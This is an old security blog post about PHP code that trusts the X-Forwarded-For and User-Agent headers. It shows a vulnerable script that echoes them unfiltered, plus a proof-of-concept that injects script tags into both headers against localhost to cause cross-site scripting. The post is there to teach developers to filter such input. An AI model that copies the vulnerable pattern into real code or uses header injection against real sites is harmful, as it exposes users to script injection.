Faking the unexpected
Published: Sun, 02 Dec 2007 13:36:32 GMT
Updated: Sat, 22 Mar 2025 15:38:08 GMT
Developers place too much trust in everything, they assume that certain data cannot be faked and therefore these pieces of data can be used as a Trojan horse. Lets take the REMOTE IP of a user, it seems a trusted source because of the TCP/IP connection between the user and the server but take the following example:-
<pre lang="php"> <?php if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $userip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $userip = $_SERVER['REMOTE_ADDR']; } ?> </pre>Suddenly a piece of assumed "safe" data is placed in the variable. HTTP_X_FORWARDED_FOR is user input, instead of combining both they should be treated separately and HTTP_X_FORWARDED_FOR should never be used as a means to validate the user's IP. But it gets worse...what if a developer outputs this data? We now have another problem, the attacker can not only fake their IP but the "safe" data becomes a XSS injection point. The following proof of concept highlights this issue:-
<pre lang="php"> <?php if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $userip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $userip = $_SERVER['REMOTE_ADDR']; } echo "ip:" . $userip . "<br>"; echo "user agent:" . $_SERVER['HTTP_USER_AGENT'] . "<br>"; ?> </pre>The attacker then supplies the following information:-
<pre lang="php"> <?php $fp = fsockopen("127.0.0.1", 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "GET /ip.php HTTP/1.1\r\n"; $out .= "Host: 127.0.0.1\r\n"; $out .= "X-Forwarded-For: <script>alert(/Faking the unexpected/)"; $out .= "</script>\r\n"; $out .= "User-Agent: <script>alert(/Faking the unexpected/)"; $out .= "</script>\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?> </pre>Which results in XSS on the domain. So my question is, do you have a sick feeling in your stomach now? Or have you got a smug feeling that you ALWAYS filter user-agent, X-Forwarded-For and any other user supplied data?